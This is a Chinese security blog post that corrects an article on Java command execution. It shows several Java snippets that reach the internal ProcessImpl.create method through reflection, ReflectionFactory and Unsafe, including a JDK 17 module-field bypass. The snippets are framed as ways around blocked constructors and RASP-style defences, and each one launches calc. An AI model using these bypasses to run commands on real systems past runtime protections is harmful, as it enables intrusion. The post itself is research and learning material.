最近突然忙起来了,未来有点想做sdl建设,看了不少甲方sdl做的事(我寒假在boss看了好久的招聘要求,没想到p牛的星球最近直接有人总结了。。。)
DAST的话,想先写个漏扫练手,我的开发能力实在是一般。SAST,暂时先放着(太忙了)。RASP也在入门。
今年护网还提前了,去年没去过,今年想参加一下。匆忙准备ing。。。
https://xz.aliyun.com/t/14048
看到这篇文章,里面有些说法有问题,故探究了一下。
原文说win和linux都是forkAndExec,实际上win下的jdk是create函数。

调用栈如下:

UNIXProcess在win下是ProcessImpl。
Runtime和ProcessBuilder就不说了,这两个太常见了,往下到ProcessImpl,命令执行也很简单,反射拿一下就行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public class Main {
public static void main(String[] args) throws Exception { Class<?> clazz = Class.forName("java.lang.ProcessImpl"); Constructor<?> constructor = clazz.getDeclaredConstructor(String[].class, String.class, String.class, long[].class, boolean.class); constructor.setAccessible(true); Object processImpl = constructor.newInstance(new String[]{"calc"}, null, null, new long[]{-1,-1,-1}, false); } }
|
三个-1的数组是我debug来的:

构造函数被禁了怎么办?原文给出的是Unsafe.allocate, 这个我记得在之前看yso源码的时候还有一个方法,是ReflectionFactory
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package org.example;
import sun.reflect.ReflectionFactory;
import java.lang.reflect.Constructor; import java.lang.reflect.Method;
public class Main {
public static void main(String[] args) throws Exception { Class<?> clazz = Class.forName("java.lang.ProcessImpl"); ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory(); Constructor<?> constructor = reflectionFactory.newConstructorForSerialization(clazz, Object.class.getDeclaredConstructor()); constructor.setAccessible(true); Object instance = constructor.newInstance();
Method method = clazz.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class); method.setAccessible(true); method.invoke(instance, "calc", null, null, new long[]{-1, -1, -1}, false); } }
|
在加上JDK 17的绕过:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| package org.example;
import sun.misc.Unsafe; import sun.reflect.ReflectionFactory;
import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method;
public class Main {
public static void main(String[] args) throws Exception { Class<?> clazz = Class.forName("java.lang.ProcessImpl"); ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory(); Constructor<?> constructor = reflectionFactory.newConstructorForSerialization(clazz, Object.class.getDeclaredConstructor()); constructor.setAccessible(true); Object instance = constructor.newInstance();
Field unSafeField = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); unSafeField.setAccessible(true);
Unsafe unSafeClass = (Unsafe) unSafeField.get(null); Class currentClass = Main.class; long addr = unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module"));
unSafeClass.getAndSetObject(currentClass, addr, Object.class.getModule());
Method method = clazz.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class); method.setAccessible(true); method.invoke(instance, "calc", null, null, new long[]{-1, -1, -1}, false); } }
|
用Unsafe + JDK17绕过:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package org.example;
import sun.misc.Unsafe;
import java.lang.reflect.Field; import java.lang.reflect.Method;
public class Main { public static void main(String[] args) throws Exception { Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe"); theUnsafeField.setAccessible(true); Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class processClass = Class.forName("java.lang.ProcessImpl");
Object processObject = unsafe.allocateInstance(processClass);
Class currentClass = Main.class; long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); unsafe.getAndSetObject(currentClass, addr, Object.class.getModule());
Method createMethod = processClass.getDeclaredMethod("create", String.class, String.class, String.class, long[].class, boolean.class); createMethod.setAccessible(true);
createMethod.invoke(processObject, "calc", null, null, new long[]{-1, -1, -1}, false); } }
|
JNI
参考这篇文章: Java安全之JNI绕过RASP - nice_0e3 - 博客园 (cnblogs.com)
写的很清晰了,我就不写了。